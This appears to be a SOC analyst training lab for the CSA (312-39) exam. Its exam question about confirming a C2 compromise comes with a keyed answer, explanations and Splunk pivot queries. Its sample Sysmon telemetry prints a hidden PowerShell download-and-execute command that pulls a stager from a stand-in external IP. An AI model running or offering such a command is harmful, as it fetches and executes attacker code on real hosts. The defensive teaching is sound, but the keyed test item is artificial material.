CSA (312-39) SOC Simulation Lab

Master the incident triage process. In this scenario, you must determine the correct pivot point to confirm whether an initial execution vector has escalated into a successful Command and Control (C2) compromise.

Scenario Context

You are the Tier 3 Shift Lead mentoring a junior SOC analyst working an incident for an e-commerce client. Datadog alerted on a prolonged 98% CPU spike on a core payment processing server.

The junior analyst investigated the endpoint and found a malicious scheduled task named "WindowsUpdateSync". This task executes a PowerShell script that attempts to download a payload from a suspicious external IP address. The analyst is panicking, ready to declare a P1 (Priority 1) breach. You stop them and ask: "Wait. The script executed, but how do we know if it actually worked?"

Security Environment

You pull up the raw Sysmon telemetry from the endpoint to show the analyst what you currently know, and highlight the missing piece of the puzzle:

--- SYSMON EDR TELEMETRY (ENDPOINT VISIBILITY) --- EventID: 1 (Process Creation) ParentImage: C:\Windows\System32\svchost.exe (Task Scheduler) Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine: powershell.exe -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://198.51.100.44/stager.ps1')"
--- SOC ANALYST DECISION POINT --- We have proof of Execution (MITRE TA0002). We have proof of Persistence (MITRE TA0003). We do NOT yet have proof of Command and Control (MITRE TA0011). Did the perimeter firewall block the HTTP request, or is the attacker actively on the box?

Question

A leading e-commerce company relies on backend servers for processing customer transactions. You are working with their cybersecurity team as a SOC analyst. One morning, you notice a sharp increase in CPU utilization on one of your backend servers. Your team scans and monitors the server and find out that an unknown process is running, which is consuming excessive resources. You further perform detailed forensic analysis and identify the presence of an unrecognized scheduled task that triggers a PowerShell script connecting to an unknown IP. What should you do to confirm whether this is an active attack?

Senior Analyst Hint: "You already know the malicious script ran on the endpoint. To confirm it's an 'active attack', you need to prove the script successfully reached its external destination. Which log source tracks traffic leaving your network?"

Tier 3 Analyst Insight

1. What is happening?

The SOC has identified a classic "Living off the Land" (LotL) attack. An adversary has established persistence via a scheduled task, which routinely executes a PowerShell stager intended to pull down a secondary payload (like a cryptominer, causing the high CPU) from an external Command and Control (C2) IP. The critical question for the incident response team is assessing the scope: Was this attempt blocked, or is the adversary currently active?

2. Why the correct answer is correct (Option B)

Analyze the network logs to identify external connections is the only way to confirm an active attack. By pivoting to perimeter firewall logs, Zeek/Corelight data, or NetFlow in your SIEM, you can search for the unknown IP (`198.51.100.44`). If you see outbound bytes and inbound bytes (an established TCP connection) matching the timeframe of the PowerShell execution, you have confirmed the attacker is actively communicating with the server.

3. Why the other options are wrong

A and C (System logs and File Integrity Monitoring) will only tell you what was altered on the local disk (e.g., the creation of the scheduled task XML file). They prove persistence, but they do not prove active network communication.
D (User access logs) might show you how the attacker initially gained access (e.g., RDP brute force or compromised VPN credentials), but it will not confirm if the currently executing PowerShell script is successfully beaconing out to the internet.

4. Real-world SOC application

In a real-world SIEM like Splunk, your workflow looks like this:
1. Detect process: index=edr EventCode=1 Image="*powershell.exe*" CommandLine="*Net.WebClient*"
2. Extract the destination IP from the command line.
3. Pivot to network logs: index=firewall dest_ip="198.51.100.44" action=allowed
If step 3 returns results, you immediately escalate to a P1 Incident and isolate the host via CrowdStrike/Defender.

⚡ MINI LESSON: The Execution vs. Exfiltration Gap

A common mistake junior analysts make is assuming "Execution = Compromise". Modern enterprise environments have multiple layers of defense. A malicious script might successfully execute on a server (because EDR failed to block it), but the perimeter firewall's Threat Prevention blade might block the outbound HTTP request to the malicious IP. Always correlate Endpoint Telemetry (Execution) with Network Telemetry (Communication) before determining the severity of an incident.

Refine your Threat Hunting Skills

Practice identifying data sources and building detection logic in our advanced labs.

Explore more CSA simulations